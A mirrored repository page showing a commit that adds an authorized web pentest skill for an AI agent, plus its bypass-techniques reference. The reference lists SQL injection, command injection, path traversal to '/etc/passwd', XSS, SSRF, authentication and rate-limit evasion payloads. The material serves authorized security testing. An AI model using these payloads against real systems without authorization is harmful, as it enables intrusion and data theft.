mirror of
https://github.com/NousResearch/hermes-agent.git
synced 2026-06-04 07:31:58 +00:00
Adds optional-skills/security/web-pentest/ — an authorized web app penetration testing skill adapted from Shannon's methodology (concepts only; AGPL-clean fresh implementation). Phased: recon (read-only) → vuln analysis (delegate_task per OWASP class) → proof-based exploitation → report. Guardrails baked in: - Authorization gate before first active scan (templates/authorization.md) - Scope allowlist (scope.txt) consulted by recon-scan.sh and documented as the rule for every active request - Aux-client leakage warning (compression + title gen replay history; payloads/creds must not enter chat verbatim) - Bypass-exhaustion discipline before false-positive classification - L3/L4 (proof-required) for reportable findings; L1/L2 listed as candidates only Closes #400. Supersedes #21845 (plugin-shaped proposal; skill-shaped is cheaper and matches the existing optional-skills/security/ pattern).
4.5 KiB
4.5 KiB
Bypass Techniques
Common filter/WAF bypasses. Used during the bypass-exhaustion phase before classifying a finding as false positive.
A finding may only be marked false_positive AFTER the relevant
bypass set has been exhausted and the witnesses still fail.
SQL Injection Bypasses
When ' is filtered/escaped:
- Numeric injection: drop the quote, use
1 OR 1=1 - Different quote:
"instead of' - Comment-based:
1/**/OR/**/1=1 - Hex literal:
0x61646d696eforadmin CHAR(65,66)forAB- Case variation:
OoRr(often stripped toOR) - Inline comments:
O/**/R - Null byte:
' %00 OR '1=1 - Double URL encoding:
%2527for' - Multi-byte:
%bf%27(works against some single-byte unescape)
Command Injection Bypasses
When semicolons filtered:
- Newline:
%0Asleep 5 - Carriage return:
%0Dsleep 5 - Pipe:
|sleep 5,||sleep 5 - Background:
&sleep 5,&&sleep 5 - Substitution:
$(sleep 5),`sleep 5` - Globbing:
/???/?l??p 5for/bin/sleep 5 - IFS for spaces:
sleep${IFS}5,sleep$IFS$95 - Quote evasion:
s""leep 5,s'l'eep 5 - Variable:
a=sl;b=eep;${a}${b} 5 - Encoding:
bash<<<$(base64 -d <<< c2xlZXAgNQo=)
Path Traversal Bypasses
When ../ filtered:
- URL-encoded:
%2e%2e%2f - Double URL-encoded:
%252e%252e%252f - Unicode:
%c0%ae%c0%ae%c0%af,%uff0e%uff0e%u2215 - Mixed:
..%2f,%2e./ - Null byte (older platforms):
../../../etc/passwd%00.png - Backslash on Windows:
..\..\..\windows\win.ini - Absolute path:
/etc/passwd(skips traversal entirely)
When base dir is prepended (/var/www/uploads/${v}):
- The traversal still works if
realpathnot enforced - Try ending the path early:
../../etc/passwd%00
XSS Bypasses
When <script> blocked:
<img src=x onerror=...><svg/onload=...><iframe srcdoc="..."><details ontoggle=...>(HTML5)<video><source onerror=...><input autofocus onfocus=...>
When parens filtered:
- Template literals:
onerror=alert\1`` onerror=eval('alert(1)')→onerror=eval(name)+ setwindow.namefrom attacker page
When event handlers stripped:
<a href="javascript:alert(1)">(often still works)<form action="javascript:alert(1)"><input type=submit>- SVG:
<svg><animate attributeName=href values=javascript:alert(1) ...>
When alert filtered:
confirm(1),prompt(1),print()top.alert(1),self['ale'+'rt'](1)window['ale\u0072t'](1)(unicode in property access)Function("alert(1)")()
CSP bypasses (require CSP misconfig):
unsafe-inlineallows everythingunsafe-evalallowseval/Function- Wildcard sources (
*.googleapis.com) — angular/jsonp gadgets 'strict-dynamic'without nonce/hash on inline → still blocked but external scripts allowed via trusted loader- Old CSP without
default-src/script-src→ only blocks listed
Authentication Bypasses
- HTTP verb tampering:
GET /adminblocked → tryPOST,PUT,OPTIONS - Path normalization:
/admin/blocked → try/admin,/admin/.,/admin/x/..,//admin,/%2e/admin,/Admin(case) - Header injection:
X-Original-URL: /admin,X-Forwarded-For: 127.0.0.1,X-Real-IP: 127.0.0.1,X-Forwarded-Proto: https - Trailing chars:
/admin#,/admin?,/admin/,/admin.json,/admin..;/,/admin/..;/ - Method confusion via
X-HTTP-Method-Override: GET
SSRF Bypasses
When 127.0.0.1 blocked:
- IPv6 loopback:
[::1],[0:0:0:0:0:0:0:1] - Decimal IP:
2130706433for127.0.0.1 - Hex IP:
0x7f000001 - Octal:
0177.0.0.1 - Short form:
127.1,0.0.0.0,0 - DNS rebinding: control a DNS server, return
127.0.0.1on second resolution (TTL=0) - DNS records that resolve to internal IPs:
localtest.me(127.0.0.1) - URL parsing differentials:
http://allowed-host@127.0.0.1,http://127.0.0.1#@allowed-host - IDN homograph:
http://1.0.0.1(fullwidth dots)
When schemes blocked:
gopher://,dict://,file://,ftp://data:(for content-type bypass)jar:(Java)
Rate Limit Bypasses
- Header rotation:
X-Forwarded-For,X-Real-IP,X-Originating-IP,X-Client-IP,X-Cluster-Client-IP,Forwarded - Case:
X-FORWARDED-FOR - User-Agent variation
- Different endpoint that hits same handler
Bypass Discipline
For each bypass attempt:
- Note WHAT you tried and WHY it might work (in your evidence log)
- Capture the response
- If still blocked, move to the next item in the bypass set
- Only after the documented bypass set is exhausted do you write
verdict: false_positivewith reason "bypass set exhausted; defense appears effective for this slot type."